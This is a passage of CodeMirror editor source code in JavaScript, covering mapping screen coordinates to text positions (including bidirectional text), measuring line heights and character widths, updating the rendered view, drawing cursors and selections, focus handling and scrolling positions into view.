    pos = clipPos(cm.doc, pos);
    if (!cm.options.lineWrapping) { left = charWidth(cm.display) * pos.ch; }
    var lineObj = getLine(cm.doc, pos.line);
    var top = heightAtLine(lineObj) + paddingTop(cm.display);
    return {left: left, right: left, top: top, bottom: top + lineObj.height}
  }

  // Positions returned by coordsChar contain some extra information.
  // xRel is the relative x position of the input coordinates compared
  // to the found position (so xRel > 0 means the coordinates are to
  // the right of the character position, for example). When outside
  // is true, that means the coordinates lie outside the line's
  // vertical range.
  function PosWithInfo(line, ch, sticky, outside, xRel) {
    var pos = Pos(line, ch, sticky);
    pos.xRel = xRel;
    if (outside) { pos.outside = outside; }
    return pos
  }

  // Compute the character position closest to the given coordinates.
  // Input must be lineSpace-local ("div" coordinate system).
  function coordsChar(cm, x, y) {
    var doc = cm.doc;
    y += cm.display.viewOffset;
    if (y < 0) { return PosWithInfo(doc.first, 0, null, -1, -1) }
    var lineN = lineAtHeight(doc, y), last = doc.first + doc.size - 1;
    if (lineN > last)
      { return PosWithInfo(doc.first + doc.size - 1, getLine(doc, last).text.length, null, 1, 1) }
    if (x < 0) { x = 0; }

    var lineObj = getLine(doc, lineN);
    for (;;) {
      var found = coordsCharInner(cm, lineObj, lineN, x, y);
      var collapsed = collapsedSpanAround(lineObj, found.ch + (found.xRel > 0 || found.outside > 0 ? 1 : 0));
      if (!collapsed) { return found }
      var rangeEnd = collapsed.find(1);
      if (rangeEnd.line == lineN) { return rangeEnd }
      lineObj = getLine(doc, lineN = rangeEnd.line);
    }
  }

  function wrappedLineExtent(cm, lineObj, preparedMeasure, y) {
    y -= widgetTopHeight(lineObj);
    var end = lineObj.text.length;
    var begin = findFirst(function (ch) { return measureCharPrepared(cm, preparedMeasure, ch - 1).bottom <= y; }, end, 0);
    end = findFirst(function (ch) { return measureCharPrepared(cm, preparedMeasure, ch).top > y; }, begin, end);
    return {begin: begin, end: end}
  }

  function wrappedLineExtentChar(cm, lineObj, preparedMeasure, target) {
    if (!preparedMeasure) { preparedMeasure = prepareMeasureForLine(cm, lineObj); }
    var targetTop = intoCoordSystem(cm, lineObj, measureCharPrepared(cm, preparedMeasure, target), "line").top;
    return wrappedLineExtent(cm, lineObj, preparedMeasure, targetTop)
  }

  // Returns true if the given side of a box is after the given
  // coordinates, in top-to-bottom, left-to-right order.
  function boxIsAfter(box, x, y, left) {
    return box.bottom <= y ? false : box.top > y ? true : (left ? box.left : box.right) > x
  }

  function coordsCharInner(cm, lineObj, lineNo, x, y) {
    // Move y into line-local coordinate space
    y -= heightAtLine(lineObj);
    var preparedMeasure = prepareMeasureForLine(cm, lineObj);
    // When directly calling `measureCharPrepared`, we have to adjust
    // for the widgets at this line.
    var widgetHeight = widgetTopHeight(lineObj);
    var begin = 0, end = lineObj.text.length, ltr = true;

    var order = getOrder(lineObj, cm.doc.direction);
    // If the line isn't plain left-to-right text, first figure out
    // which bidi section the coordinates fall into.
    if (order) {
      var part = (cm.options.lineWrapping ? coordsBidiPartWrapped : coordsBidiPart)
                   (cm, lineObj, lineNo, preparedMeasure, order, x, y);
      ltr = part.level != 1;
      // The awkward -1 offsets are needed because findFirst (called
      // on these below) will treat its first bound as inclusive,
      // second as exclusive, but we want to actually address the
      // characters in the part's range
      begin = ltr ? part.from : part.to - 1;
      end = ltr ? part.to : part.from - 1;
    }

    // A binary search to find the first character whose bounding box
    // starts after the coordinates. If we run across any whose box wrap
    // the coordinates, store that.
    var chAround = null, boxAround = null;
    var ch = findFirst(function (ch) {
      var box = measureCharPrepared(cm, preparedMeasure, ch);
      box.top += widgetHeight; box.bottom += widgetHeight;
      if (!boxIsAfter(box, x, y, false)) { return false }
      if (box.top <= y && box.left <= x) {
        chAround = ch;
        boxAround = box;
      }
      return true
    }, begin, end);

    var baseX, sticky, outside = false;
    // If a box around the coordinates was found, use that
    if (boxAround) {
      // Distinguish coordinates nearer to the left or right side of the box
      var atLeft = x - boxAround.left < boxAround.right - x, atStart = atLeft == ltr;
      ch = chAround + (atStart ? 0 : 1);
      sticky = atStart ? "after" : "before";
      baseX = atLeft ? boxAround.left : boxAround.right;
    } else {
      // (Adjust for extended bound, if necessary.)
      if (!ltr && (ch == end || ch == begin)) { ch++; }
      // To determine which side to associate with, get the box to the
      // left of the character and compare it's vertical position to the
      // coordinates
      sticky = ch == 0 ? "after" : ch == lineObj.text.length ? "before" :
        (measureCharPrepared(cm, preparedMeasure, ch - (ltr ? 1 : 0)).bottom + widgetHeight <= y) == ltr ?
        "after" : "before";
      // Now get accurate coordinates for this place, in order to get a
      // base X position
      var coords = cursorCoords(cm, Pos(lineNo, ch, sticky), "line", lineObj, preparedMeasure);
      baseX = coords.left;
      outside = y < coords.top ? -1 : y >= coords.bottom ? 1 : 0;
    }

    ch = skipExtendingChars(lineObj.text, ch, 1);
    return PosWithInfo(lineNo, ch, sticky, outside, x - baseX)
  }

  function coordsBidiPart(cm, lineObj, lineNo, preparedMeasure, order, x, y) {
    // Bidi parts are sorted left-to-right, and in a non-line-wrapping
    // situation, we can take this ordering to correspond to the visual
    // ordering. This finds the first part whose end is after the given
    // coordinates.
    var index = findFirst(function (i) {
      var part = order[i], ltr = part.level != 1;
      return boxIsAfter(cursorCoords(cm, Pos(lineNo, ltr ? part.to : part.from, ltr ? "before" : "after"),
                                     "line", lineObj, preparedMeasure), x, y, true)
    }, 0, order.length - 1);
    var part = order[index];
    // If this isn't the first part, the part's start is also after
    // the coordinates, and the coordinates aren't on the same line as
    // that start, move one part back.
    if (index > 0) {
      var ltr = part.level != 1;
      var start = cursorCoords(cm, Pos(lineNo, ltr ? part.from : part.to, ltr ? "after" : "before"),
                               "line", lineObj, preparedMeasure);
      if (boxIsAfter(start, x, y, true) && start.top > y)
        { part = order[index - 1]; }
    }
    return part
  }

  function coordsBidiPartWrapped(cm, lineObj, _lineNo, preparedMeasure, order, x, y) {
    // In a wrapped line, rtl text on wrapping boundaries can do things
    // that don't correspond to the ordering in our `order` array at
    // all, so a binary search doesn't work, and we want to return a
    // part that only spans one line so that the binary search in
    // coordsCharInner is safe. As such, we first find the extent of the
    // wrapped line, and then do a flat search in which we discard any
    // spans that aren't on the line.
    var ref = wrappedLineExtent(cm, lineObj, preparedMeasure, y);
    var begin = ref.begin;
    var end = ref.end;
    if (/\s/.test(lineObj.text.charAt(end - 1))) { end--; }
    var part = null, closestDist = null;
    for (var i = 0; i < order.length; i++) {
      var p = order[i];
      if (p.from >= end || p.to <= begin) { continue }
      var ltr = p.level != 1;
      var endX = measureCharPrepared(cm, preparedMeasure, ltr ? Math.min(end, p.to) - 1 : Math.max(begin, p.from)).right;
      // Weigh against spans ending before this, so that they are only
      // picked if nothing ends after
      var dist = endX < x ? x - endX + 1e9 : endX - x;
      if (!part || closestDist > dist) {
        part = p;
        closestDist = dist;
      }
    }
    if (!part) { part = order[order.length - 1]; }
    // Clip the part to the wrapped line.
    if (part.from < begin) { part = {from: begin, to: part.to, level: part.level}; }
    if (part.to > end) { part = {from: part.from, to: end, level: part.level}; }
    return part
  }

  var measureText;
  // Compute the default text height.
  function textHeight(display) {
    if (display.cachedTextHeight != null) { return display.cachedTextHeight }
    if (measureText == null) {
      measureText = elt("pre", null, "CodeMirror-line-like");
      // Measure a bunch of lines, for browsers that compute
      // fractional heights.
      for (var i = 0; i < 49; ++i) {
        measureText.appendChild(document.createTextNode("x"));
        measureText.appendChild(elt("br"));
      }
      measureText.appendChild(document.createTextNode("x"));
    }
    removeChildrenAndAdd(display.measure, measureText);
    var height = measureText.offsetHeight / 50;
    if (height > 3) { display.cachedTextHeight = height; }
    removeChildren(display.measure);
    return height || 1
  }

  // Compute the default character width.
  function charWidth(display) {
    if (display.cachedCharWidth != null) { return display.cachedCharWidth }
    var anchor = elt("span", "xxxxxxxxxx");
    var pre = elt("pre", [anchor], "CodeMirror-line-like");
    removeChildrenAndAdd(display.measure, pre);
    var rect = anchor.getBoundingClientRect(), width = (rect.right - rect.left) / 10;
    if (width > 2) { display.cachedCharWidth = width; }
    return width || 10
  }

  // Do a bulk-read of the DOM positions and sizes needed to draw the
  // view, so that we don't interleave reading and writing to the DOM.
  function getDimensions(cm) {
    var d = cm.display, left = {}, width = {};
    var gutterLeft = d.gutters.clientLeft;
    for (var n = d.gutters.firstChild, i = 0; n; n = n.nextSibling, ++i) {
      var id = cm.display.gutterSpecs[i].className;
      left[id] = n.offsetLeft + n.clientLeft + gutterLeft;
      width[id] = n.clientWidth;
    }
    return {fixedPos: compensateForHScroll(d),
            gutterTotalWidth: d.gutters.offsetWidth,
            gutterLeft: left,
            gutterWidth: width,
            wrapperWidth: d.wrapper.clientWidth}
  }

  // Computes display.scroller.scrollLeft + display.gutters.offsetWidth,
  // but using getBoundingClientRect to get a sub-pixel-accurate
  // result.
  function compensateForHScroll(display) {
    return display.scroller.getBoundingClientRect().left - display.sizer.getBoundingClientRect().left
  }

  // Returns a function that estimates the height of a line, to use as
  // first approximation until the line becomes visible (and is thus
  // properly measurable).
  function estimateHeight(cm) {
    var th = textHeight(cm.display), wrapping = cm.options.lineWrapping;
    var perLine = wrapping && Math.max(5, cm.display.scroller.clientWidth / charWidth(cm.display) - 3);
    return function (line) {
      if (lineIsHidden(cm.doc, line)) { return 0 }

      var widgetsHeight = 0;
      if (line.widgets) { for (var i = 0; i < line.widgets.length; i++) {
        if (line.widgets[i].height) { widgetsHeight += line.widgets[i].height; }
      } }

      if (wrapping)
        { return widgetsHeight + (Math.ceil(line.text.length / perLine) || 1) * th }
      else
        { return widgetsHeight + th }
    }
  }

  function estimateLineHeights(cm) {
    var doc = cm.doc, est = estimateHeight(cm);
    doc.iter(function (line) {
      var estHeight = est(line);
      if (estHeight != line.height) { updateLineHeight(line, estHeight); }
    });
  }

  // Given a mouse event, find the corresponding position. If liberal
  // is false, it checks whether a gutter or scrollbar was clicked,
  // and returns null if it was. forRect is used by rectangular
  // selections, and tries to estimate a character position even for
  // coordinates beyond the right of the text.
  function posFromMouse(cm, e, liberal, forRect) {
    var display = cm.display;
    if (!liberal && e_target(e).getAttribute("cm-not-content") == "true") { return null }

    var x, y, space = display.lineSpace.getBoundingClientRect();
    // Fails unpredictably on IE[67] when mouse is dragged around quickly.
    try { x = e.clientX - space.left; y = e.clientY - space.top; }
    catch (e$1) { return null }
    var coords = coordsChar(cm, x, y), line;
    if (forRect && coords.xRel > 0 && (line = getLine(cm.doc, coords.line).text).length == coords.ch) {
      var colDiff = countColumn(line, line.length, cm.options.tabSize) - line.length;
      coords = Pos(coords.line, Math.max(0, Math.round((x - paddingH(cm.display).left) / charWidth(cm.display)) - colDiff));
    }
    return coords
  }

  // Find the view element corresponding to a given line. Return null
  // when the line isn't visible.
  function findViewIndex(cm, n) {
    if (n >= cm.display.viewTo) { return null }
    n -= cm.display.viewFrom;
    if (n < 0) { return null }
    var view = cm.display.view;
    for (var i = 0; i < view.length; i++) {
      n -= view[i].size;
      if (n < 0) { return i }
    }
  }

  // Updates the display.view data structure for a given change to the
  // document. From and to are in pre-change coordinates. Lendiff is
  // the amount of lines added or subtracted by the change. This is
  // used for changes that span multiple lines, or change the way
  // lines are divided into visual lines. regLineChange (below)
  // registers single-line changes.
  function regChange(cm, from, to, lendiff) {
    if (from == null) { from = cm.doc.first; }
    if (to == null) { to = cm.doc.first + cm.doc.size; }
    if (!lendiff) { lendiff = 0; }

    var display = cm.display;
    if (lendiff && to < display.viewTo &&
        (display.updateLineNumbers == null || display.updateLineNumbers > from))
      { display.updateLineNumbers = from; }

    cm.curOp.viewChanged = true;

    if (from >= display.viewTo) { // Change after
      if (sawCollapsedSpans && visualLineNo(cm.doc, from) < display.viewTo)
        { resetView(cm); }
    } else if (to <= display.viewFrom) { // Change before
      if (sawCollapsedSpans && visualLineEndNo(cm.doc, to + lendiff) > display.viewFrom) {
        resetView(cm);
      } else {
        display.viewFrom += lendiff;
        display.viewTo += lendiff;
      }
    } else if (from <= display.viewFrom && to >= display.viewTo) { // Full overlap
      resetView(cm);
    } else if (from <= display.viewFrom) { // Top overlap
      var cut = viewCuttingPoint(cm, to, to + lendiff, 1);
      if (cut) {
        display.view = display.view.slice(cut.index);
        display.viewFrom = cut.lineN;
        display.viewTo += lendiff;
      } else {
        resetView(cm);
      }
    } else if (to >= display.viewTo) { // Bottom overlap
      var cut$1 = viewCuttingPoint(cm, from, from, -1);
      if (cut$1) {
        display.view = display.view.slice(0, cut$1.index);
        display.viewTo = cut$1.lineN;
      } else {
        resetView(cm);
      }
    } else { // Gap in the middle
      var cutTop = viewCuttingPoint(cm, from, from, -1);
      var cutBot = viewCuttingPoint(cm, to, to + lendiff, 1);
      if (cutTop && cutBot) {
        display.view = display.view.slice(0, cutTop.index)
          .concat(buildViewArray(cm, cutTop.lineN, cutBot.lineN))
          .concat(display.view.slice(cutBot.index));
        display.viewTo += lendiff;
      } else {
        resetView(cm);
      }
    }

    var ext = display.externalMeasured;
    if (ext) {
      if (to < ext.lineN)
        { ext.lineN += lendiff; }
      else if (from < ext.lineN + ext.size)
        { display.externalMeasured = null; }
    }
  }

  // Register a change to a single line. Type must be one of "text",
  // "gutter", "class", "widget"
  function regLineChange(cm, line, type) {
    cm.curOp.viewChanged = true;
    var display = cm.display, ext = cm.display.externalMeasured;
    if (ext && line >= ext.lineN && line < ext.lineN + ext.size)
      { display.externalMeasured = null; }

    if (line < display.viewFrom || line >= display.viewTo) { return }
    var lineView = display.view[findViewIndex(cm, line)];
    if (lineView.node == null) { return }
    var arr = lineView.changes || (lineView.changes = []);
    if (indexOf(arr, type) == -1) { arr.push(type); }
  }

  // Clear the view.
  function resetView(cm) {
    cm.display.viewFrom = cm.display.viewTo = cm.doc.first;
    cm.display.view = [];
    cm.display.viewOffset = 0;
  }

  function viewCuttingPoint(cm, oldN, newN, dir) {
    var index = findViewIndex(cm, oldN), diff, view = cm.display.view;
    if (!sawCollapsedSpans || newN == cm.doc.first + cm.doc.size)
      { return {index: index, lineN: newN} }
    var n = cm.display.viewFrom;
    for (var i = 0; i < index; i++)
      { n += view[i].size; }
    if (n != oldN) {
      if (dir > 0) {
        if (index == view.length - 1) { return null }
        diff = (n + view[index].size) - oldN;
        index++;
      } else {
        diff = n - oldN;
      }
      oldN += diff; newN += diff;
    }
    while (visualLineNo(cm.doc, newN) != newN) {
      if (index == (dir < 0 ? 0 : view.length - 1)) { return null }
      newN += dir * view[index - (dir < 0 ? 1 : 0)].size;
      index += dir;
    }
    return {index: index, lineN: newN}
  }

  // Force the view to cover a given range, adding empty view element
  // or clipping off existing ones as needed.
  function adjustView(cm, from, to) {
    var display = cm.display, view = display.view;
    if (view.length == 0 || from >= display.viewTo || to <= display.viewFrom) {
      display.view = buildViewArray(cm, from, to);
      display.viewFrom = from;
    } else {
      if (display.viewFrom > from)
        { display.view = buildViewArray(cm, from, display.viewFrom).concat(display.view); }
      else if (display.viewFrom < from)
        { display.view = display.view.slice(findViewIndex(cm, from)); }
      display.viewFrom = from;
      if (display.viewTo < to)
        { display.view = display.view.concat(buildViewArray(cm, display.viewTo, to)); }
      else if (display.viewTo > to)
        { display.view = display.view.slice(0, findViewIndex(cm, to)); }
    }
    display.viewTo = to;
  }

  // Count the number of lines in the view whose DOM representation is
  // out of date (or nonexistent).
  function countDirtyView(cm) {
    var view = cm.display.view, dirty = 0;
    for (var i = 0; i < view.length; i++) {
      var lineView = view[i];
      if (!lineView.hidden && (!lineView.node || lineView.changes)) { ++dirty; }
    }
    return dirty
  }

  function updateSelection(cm) {
    cm.display.input.showSelection(cm.display.input.prepareSelection());
  }

  function prepareSelection(cm, primary) {
    if ( primary === void 0 ) primary = true;

    var doc = cm.doc, result = {};
    var curFragment = result.cursors = document.createDocumentFragment();
    var selFragment = result.selection = document.createDocumentFragment();

    for (var i = 0; i < doc.sel.ranges.length; i++) {
      if (!primary && i == doc.sel.primIndex) { continue }
      var range = doc.sel.ranges[i];
      if (range.from().line >= cm.display.viewTo || range.to().line < cm.display.viewFrom) { continue }
      var collapsed = range.empty();
      if (collapsed || cm.options.showCursorWhenSelecting)
        { drawSelectionCursor(cm, range.head, curFragment); }
      if (!collapsed)
        { drawSelectionRange(cm, range, selFragment); }
    }
    return result
  }

  // Draws a cursor for the given range
  function drawSelectionCursor(cm, head, output) {
    var pos = cursorCoords(cm, head, "div", null, null, !cm.options.singleCursorHeightPerLine);

    var cursor = output.appendChild(elt("div", "\u00a0", "CodeMirror-cursor"));
    cursor.style.left = pos.left + "px";
    cursor.style.top = pos.top + "px";
    cursor.style.height = Math.max(0, pos.bottom - pos.top) * cm.options.cursorHeight + "px";

    if (pos.other) {
      // Secondary cursor, shown when on a 'jump' in bi-directional text
      var otherCursor = output.appendChild(elt("div", "\u00a0", "CodeMirror-cursor CodeMirror-secondarycursor"));
      otherCursor.style.display = "";
      otherCursor.style.left = pos.other.left + "px";
      otherCursor.style.top = pos.other.top + "px";
      otherCursor.style.height = (pos.other.bottom - pos.other.top) * .85 + "px";
    }
  }

  function cmpCoords(a, b) { return a.top - b.top || a.left - b.left }

  // Draws the given range as a highlighted selection
  function drawSelectionRange(cm, range, output) {
    var display = cm.display, doc = cm.doc;
    var fragment = document.createDocumentFragment();
    var padding = paddingH(cm.display), leftSide = padding.left;
    var rightSide = Math.max(display.sizerWidth, displayWidth(cm) - display.sizer.offsetLeft) - padding.right;
    var docLTR = doc.direction == "ltr";

    function add(left, top, width, bottom) {
      if (top < 0) { top = 0; }
      top = Math.round(top);
      bottom = Math.round(bottom);
      fragment.appendChild(elt("div", null, "CodeMirror-selected", ("position: absolute; left: " + left + "px;\n                             top: " + top + "px; width: " + (width == null ? rightSide - left : width) + "px;\n                             height: " + (bottom - top) + "px")));
    }

    function drawForLine(line, fromArg, toArg) {
      var lineObj = getLine(doc, line);
      var lineLen = lineObj.text.length;
      var start, end;
      function coords(ch, bias) {
        return charCoords(cm, Pos(line, ch), "div", lineObj, bias)
      }

      function wrapX(pos, dir, side) {
        var extent = wrappedLineExtentChar(cm, lineObj, null, pos);
        var prop = (dir == "ltr") == (side == "after") ? "left" : "right";
        var ch = side == "after" ? extent.begin : extent.end - (/\s/.test(lineObj.text.charAt(extent.end - 1)) ? 2 : 1);
        return coords(ch, prop)[prop]
      }

      var order = getOrder(lineObj, doc.direction);
      iterateBidiSections(order, fromArg || 0, toArg == null ? lineLen : toArg, function (from, to, dir, i) {
        var ltr = dir == "ltr";
        var fromPos = coords(from, ltr ? "left" : "right");
        var toPos = coords(to - 1, ltr ? "right" : "left");

        var openStart = fromArg == null && from == 0, openEnd = toArg == null && to == lineLen;
        var first = i == 0, last = !order || i == order.length - 1;
        if (toPos.top - fromPos.top <= 3) { // Single line
          var openLeft = (docLTR ? openStart : openEnd) && first;
          var openRight = (docLTR ? openEnd : openStart) && last;
          var left = openLeft ? leftSide : (ltr ? fromPos : toPos).left;
          var right = openRight ? rightSide : (ltr ? toPos : fromPos).right;
          add(left, fromPos.top, right - left, fromPos.bottom);
        } else { // Multiple lines
          var topLeft, topRight, botLeft, botRight;
          if (ltr) {
            topLeft = docLTR && openStart && first ? leftSide : fromPos.left;
            topRight = docLTR ? rightSide : wrapX(from, dir, "before");
            botLeft = docLTR ? leftSide : wrapX(to, dir, "after");
            botRight = docLTR && openEnd && last ? rightSide : toPos.right;
          } else {
            topLeft = !docLTR ? leftSide : wrapX(from, dir, "before");
            topRight = !docLTR && openStart && first ? rightSide : fromPos.right;
            botLeft = !docLTR && openEnd && last ? leftSide : toPos.left;
            botRight = !docLTR ? rightSide : wrapX(to, dir, "after");
          }
          add(topLeft, fromPos.top, topRight - topLeft, fromPos.bottom);
          if (fromPos.bottom < toPos.top) { add(leftSide, fromPos.bottom, null, toPos.top); }
          add(botLeft, toPos.top, botRight - botLeft, toPos.bottom);
        }

        if (!start || cmpCoords(fromPos, start) < 0) { start = fromPos; }
        if (cmpCoords(toPos, start) < 0) { start = toPos; }
        if (!end || cmpCoords(fromPos, end) < 0) { end = fromPos; }
        if (cmpCoords(toPos, end) < 0) { end = toPos; }
      });
      return {start: start, end: end}
    }

    var sFrom = range.from(), sTo = range.to();
    if (sFrom.line == sTo.line) {
      drawForLine(sFrom.line, sFrom.ch, sTo.ch);
    } else {
      var fromLine = getLine(doc, sFrom.line), toLine = getLine(doc, sTo.line);
      var singleVLine = visualLine(fromLine) == visualLine(toLine);
      var leftEnd = drawForLine(sFrom.line, sFrom.ch, singleVLine ? fromLine.text.length + 1 : null).end;
      var rightStart = drawForLine(sTo.line, singleVLine ? 0 : null, sTo.ch).start;
      if (singleVLine) {
        if (leftEnd.top < rightStart.top - 2) {
          add(leftEnd.right, leftEnd.top, null, leftEnd.bottom);
          add(leftSide, rightStart.top, rightStart.left, rightStart.bottom);
        } else {
          add(leftEnd.right, leftEnd.top, rightStart.left - leftEnd.right, leftEnd.bottom);
        }
      }
      if (leftEnd.bottom < rightStart.top)
        { add(leftSide, leftEnd.bottom, null, rightStart.top); }
    }

    output.appendChild(fragment);
  }

  // Cursor-blinking
  function restartBlink(cm) {
    if (!cm.state.focused) { return }
    var display = cm.display;
    clearInterval(display.blinker);
    var on = true;
    display.cursorDiv.style.visibility = "";
    if (cm.options.cursorBlinkRate > 0)
      { display.blinker = setInterval(function () {
        if (!cm.hasFocus()) { onBlur(cm); }
        display.cursorDiv.style.visibility = (on = !on) ? "" : "hidden";
      }, cm.options.cursorBlinkRate); }
    else if (cm.options.cursorBlinkRate < 0)
      { display.cursorDiv.style.visibility = "hidden"; }
  }

  function ensureFocus(cm) {
    if (!cm.hasFocus()) {
      cm.display.input.focus();
      if (!cm.state.focused) { onFocus(cm); }
    }
  }

  function delayBlurEvent(cm) {
    cm.state.delayingBlurEvent = true;
    setTimeout(function () { if (cm.state.delayingBlurEvent) {
      cm.state.delayingBlurEvent = false;
      if (cm.state.focused) { onBlur(cm); }
    } }, 100);
  }

  function onFocus(cm, e) {
    if (cm.state.delayingBlurEvent && !cm.state.draggingText) { cm.state.delayingBlurEvent = false; }

    if (cm.options.readOnly == "nocursor") { return }
    if (!cm.state.focused) {
      signal(cm, "focus", cm, e);
      cm.state.focused = true;
      addClass(cm.display.wrapper, "CodeMirror-focused");
      // This test prevents this from firing when a context
      // menu is closed (since the input reset would kill the
      // select-all detection hack)
      if (!cm.curOp && cm.display.selForContextMenu != cm.doc.sel) {
        cm.display.input.reset();
        if (webkit) { setTimeout(function () { return cm.display.input.reset(true); }, 20); } // Issue #1730
      }
      cm.display.input.receivedFocus();
    }
    restartBlink(cm);
  }
  function onBlur(cm, e) {
    if (cm.state.delayingBlurEvent) { return }

    if (cm.state.focused) {
      signal(cm, "blur", cm, e);
      cm.state.focused = false;
      rmClass(cm.display.wrapper, "CodeMirror-focused");
    }
    clearInterval(cm.display.blinker);
    setTimeout(function () { if (!cm.state.focused) { cm.display.shift = false; } }, 150);
  }

  // Read the actual heights of the rendered lines, and update their
  // stored heights to match.
  function updateHeightsInViewport(cm) {
    var display = cm.display;
    var prevBottom = display.lineDiv.offsetTop;
    for (var i = 0; i < display.view.length; i++) {
      var cur = display.view[i], wrapping = cm.options.lineWrapping;
      var height = (void 0), width = 0;
      if (cur.hidden) { continue }
      if (ie && ie_version < 8) {
        var bot = cur.node.offsetTop + cur.node.offsetHeight;
        height = bot - prevBottom;
        prevBottom = bot;
      } else {
        var box = cur.node.getBoundingClientRect();
        height = box.bottom - box.top;
        // Check that lines don't extend past the right of the current
        // editor width
        if (!wrapping && cur.text.firstChild)
          { width = cur.text.firstChild.getBoundingClientRect().right - box.left - 1; }
      }
      var diff = cur.line.height - height;
      if (diff > .005 || diff < -.005) {
        updateLineHeight(cur.line, height);
        updateWidgetHeight(cur.line);
        if (cur.rest) { for (var j = 0; j < cur.rest.length; j++)
          { updateWidgetHeight(cur.rest[j]); } }
      }
      if (width > cm.display.sizerWidth) {
        var chWidth = Math.ceil(width / charWidth(cm.display));
        if (chWidth > cm.display.maxLineLength) {
          cm.display.maxLineLength = chWidth;
          cm.display.maxLine = cur.line;
          cm.display.maxLineChanged = true;
        }
      }
    }
  }

  // Read and store the height of line widgets associated with the
  // given line.
  function updateWidgetHeight(line) {
    if (line.widgets) { for (var i = 0; i < line.widgets.length; ++i) {
      var w = line.widgets[i], parent = w.node.parentNode;
      if (parent) { w.height = parent.offsetHeight; }
    } }
  }

  // Compute the lines that are visible in a given viewport (defaults
  // the the current scroll position). viewport may contain top,
  // height, and ensure (see op.scrollToPos) properties.
  function visibleLines(display, doc, viewport) {
    var top = viewport && viewport.top != null ? Math.max(0, viewport.top) : display.scroller.scrollTop;
    top = Math.floor(top - paddingTop(display));
    var bottom = viewport && viewport.bottom != null ? viewport.bottom : top + display.wrapper.clientHeight;

    var from = lineAtHeight(doc, top), to = lineAtHeight(doc, bottom);
    // Ensure is a {from: {line, ch}, to: {line, ch}} object, and
    // forces those lines into the viewport (if possible).
    if (viewport && viewport.ensure) {
      var ensureFrom = viewport.ensure.from.line, ensureTo = viewport.ensure.to.line;
      if (ensureFrom < from) {
        from = ensureFrom;
        to = lineAtHeight(doc, heightAtLine(getLine(doc, ensureFrom)) + display.wrapper.clientHeight);
      } else if (Math.min(ensureTo, doc.lastLine()) >= to) {
        from = lineAtHeight(doc, heightAtLine(getLine(doc, ensureTo)) - display.wrapper.clientHeight);
        to = ensureTo;
      }
    }
    return {from: from, to: Math.max(to, from + 1)}
  }

  // SCROLLING THINGS INTO VIEW

  // If an editor sits on the top or bottom of the window, partially
  // scrolled out of view, this ensures that the cursor is visible.
  function maybeScrollWindow(cm, rect) {
    if (signalDOMEvent(cm, "scrollCursorIntoView")) { return }

    var display = cm.display, box = display.sizer.getBoundingClientRect(), doScroll = null;
    if (rect.top + box.top < 0) { doScroll = true; }
    else if (rect.bottom + box.top > (window.innerHeight || document.documentElement.clientHeight)) { doScroll = false; }
    if (doScroll != null && !phantom) {
      var scrollNode = elt("div", "\u200b", null, ("position: absolute;\n                         top: " + (rect.top - display.viewOffset - paddingTop(cm.display)) + "px;\n                         height: " + (rect.bottom - rect.top + scrollGap(cm) + display.barHeight) + "px;\n                         left: " + (rect.left) + "px; width: " + (Math.max(2, rect.right - rect.left)) + "px;"));
      cm.display.lineSpace.appendChild(scrollNode);
      scrollNode.scrollIntoView(doScroll);
      cm.display.lineSpace.removeChild(scrollNode);
    }
  }

  // Scroll a given position into view (immediately), verifying that
  // it actually became visible (as line heights are accurately
  // measured, the position of something may 'drift' during drawing).
  function scrollPosIntoView(cm, pos, end, margin) {
    if (margin == null) { margin = 0; }
    var rect;
    if (!cm.options.lineWrapping && pos == end) {
      // Set pos and end to the cursor positions around the character pos sticks to
      // If pos.sticky == "before", that is around pos.ch - 1, otherwise around pos.ch
      // If pos == Pos(_, 0, "before"), pos and end are unchanged
      pos = pos.ch ? Pos(pos.line, pos.sticky == "before" ? pos.ch - 1 : pos.ch, "after") : pos;
      end = pos.sticky == "before" ? Pos(pos.line, pos.ch + 1, "before") : pos;
    }
    for (var limit = 0; limit < 5; limit++) {
      var changed = false;
      var coords = cursorCoords(cm, pos);
      var endCoords = !end || end == pos ? coords : cursorCoords(cm, end);
      rect = {left: Math.min(coords.left, endCoords.left),
              top: Math.min(coords.top, endCoords.top) - margin,
              right: Math.max(coords.left, endCoords.left),
              bottom: Math.max(coords.bottom, endCoords.bottom) + margin};
      var scrollPos = calculateScrollPos(cm, rect);
      var startTop = cm.doc.scrollTop, startLeft = cm.doc.scrollLeft;
      if (scrollPos.scrollTop != null) {
        updateScrollTop(cm, scrollPos.scrollTop);
        if (Math.abs(cm.doc.scrollTop - startTop) > 1) { changed = true; }
      }
      if (scrollPos.scrollLeft != null) {
        setScrollLeft(cm, scrollPos.scrollLeft);
        if (Math.abs(cm.doc.scrollLeft - startLeft) > 1) { changed = true; }
      }
      if (!changed) { break }
    }
    return rect
  }

  // Scroll a given set of coordinates into view (immediately).
  function scrollIntoView(cm, rect) {
    var scrollPos = calculateScrollPos(cm, rect);
    if (scrollPos.scrollTop != null) { updateScrollTop(cm, scrollPos.scrollTop); }
    if (scrollPos.scrollLeft != null) { setScrollLeft(cm, scrollPos.scrollLeft); }
  }

  // Calculate a new scroll position needed to scroll the given
  // rectangle into view. Returns an object with scrollTop and
  // scrollLeft properties. When these are undefined, the
  // vertical/horizontal position does not need to be adjusted.
  function calculateScrollPos(cm, rect) {
    var display = cm.display, snapMargin = textHeight(cm.display);
    if (rect.top < 0) { rect.top = 0; }
    var screentop = cm.curOp && cm.curOp.scrollTop != null ? cm.curOp.scrollTop : display.scroller.scrollTop;
    var screen = displayHeight(cm), result = {};
    if (rect.bottom - rect.top > screen) { rect.bottom = rect.top + screen; }
    var docBottom = cm.doc.height + paddingVert(display);
    var atTop = rect.top < snapMargin, atBottom = rect.bottom > docBottom - snapMargin;
    if (rect.top < screentop) {
      result.scrollTop = atTop ? 0 : rect.top;
    } else if (rect.bottom > screentop + screen) {
      var newTop = Math.min(rect.top, (atBottom ? docBottom : rect.bottom) - screen);
      if (newTop != screentop) { result.scrollTop = newTop; }
    }

    var gutterSpace = cm.options.fixedGutter ? 0 : display.gutters.offsetWidth;
    var screenleft = cm.curOp && cm.curOp.scrollLeft != null ? cm.curOp.scrollLeft : display.scroller.scrollLeft - gutterSpace;
    var screenw = displayWidth(cm) - display.gutters.offsetWidth;
    var tooWide = rect.right - rect.left > screenw;
    if (tooWide) { rect.right = rect.left + screenw; }
    if (rect.left < 10)
      { result.scrollLeft = 0; }
    else if (rect.left < screenleft)
      { result.scrollLeft = Math.max(0, rect.left + gutterSpace - (tooWide ? 0 : 10)); }
    else if (rect.right > screenw + screenleft - 3)
      { result.scrollLeft = rect.right + (tooWide ? 0 : 10) - screenw; }
    return result
  }

  // Store a relative adjustment to the scroll position in the current
